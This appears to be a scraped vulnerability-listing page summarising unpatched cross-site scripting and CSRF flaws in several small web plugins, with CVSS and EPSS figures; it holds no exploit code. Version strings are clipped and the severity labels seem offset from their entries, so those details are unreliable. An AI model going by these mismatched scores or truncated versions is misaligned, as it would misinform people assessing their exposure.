Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brent Jett Assistant allows Reflected XSS.5.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Vincent Boiardt Easy Flash Embed allows Stored XSS.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Month

Cross-Site Request Forgery (CSRF) vulnerability in ericzane Floating Window Music Player allows Stored XSS.4.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

CSRF XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in mulscully Today&#039;s Date Inserter allows Stored XSS.2.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
10104

Related CWEs

MITRE ATT&CK

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